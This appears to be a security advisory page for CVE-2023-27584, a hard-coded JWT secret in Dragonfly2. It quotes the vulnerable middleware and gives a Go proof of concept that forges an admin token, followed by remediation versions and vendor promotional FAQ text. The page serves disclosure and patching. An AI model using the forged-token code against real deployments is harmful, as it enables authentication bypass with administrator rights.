Summary
Dragonfly2 has hard coded cyptographic key
Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.
Details
Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass
authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{
Realm: "Dragonfly",
Key: []byte("Secret Key"),
Timeout: 2 * 24 * time.Hour,
MaxRefresh: 2 * 24 * time.Hour,
IdentityKey: identityKey,
IdentityHandler: func(c *gin.Context) any {
claims := jwt.ExtractClaims(c)
id, ok := claims[identityKey]
if !ok {
c.JSON(http.StatusUnauthorized, gin.H{
"message": "Unavailable token: require user id",
})
c.Abort()
return nil
}
c.Set("id", id)
return id
})
PoC
Use code below to generate a jwt token
package main
import (
"errors"
"fmt"
"time"
"github.com/golang-jwt/jwt/v4"
)
func (stc *DragonflyTokenClaims) Valid() error {
// Verify expiry.
if stc.ExpiresAt <= time.Now().UTC().Unix() {
vErr := new(jwt.ValidationError)
vErr.Inner = errors.New("Token is expired")
vErr.Errors |= jwt.ValidationErrorExpired
return vErr
}
return nil
}
type DragonflyTokenClaims struct {
Id int32 `json:"id,omitempty"`
ExpiresAt int64 `json:"exp,omitempty"`
Issue int64 `json:"orig_iat,omitempty"`
}
func main() {
signingKey := "Secret Key"
token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Id: 1,
Issue: time.Now().Unix(),
})
signedToken, _ := token.SignedString([]byte(signingKey))
fmt.Println(signedToken)
}
And send request with JWT above , you can still get data without restriction.
Impact
An attacker can perform any action as a user with admin privileges.
Credentials are embedded in source code or a binary, making them accessible to anyone who can read the artifact. Typical impact: unauthorized access using the static credential.
CVE-2023-27584 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.0-beta.1, 2.0.9-rc.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
d7y.io/dragonfly/v2 to 2.1.0-beta.1 or later; d7y.io/dragonfly/v2 to 2.0.9-rc.2 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2023-27584? CVE-2023-27584 is a critical-severity use of hard-coded credentials vulnerability in d7y.io/dragonfly/v2 (go), affecting versions >= 2.1.0-alpha.0, < 2.1.0-beta.1. It is fixed in 2.1.0-beta.1, 2.0.9-rc.2. Credentials are embedded in source code or a binary, making them accessible to anyone who can read the artifact.
- How severe is CVE-2023-27584? CVE-2023-27584 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of d7y.io/dragonfly/v2 are affected by CVE-2023-27584? d7y.io/dragonfly/v2 (go) versions >= 2.1.0-alpha.0, < 2.1.0-beta.1 is affected.
- Is there a fix for CVE-2023-27584? Yes. CVE-2023-27584 is fixed in 2.1.0-beta.1, 2.0.9-rc.2. Upgrade to this version or later.
- Is CVE-2023-27584 exploitable, and should I be worried? Whether CVE-2023-27584 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-27584 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-27584?
- Upgrade
d7y.io/dragonfly/v2to 2.1.0-beta.1 or later - Upgrade
d7y.io/dragonfly/v2to 2.0.9-rc.2 or later
- Upgrade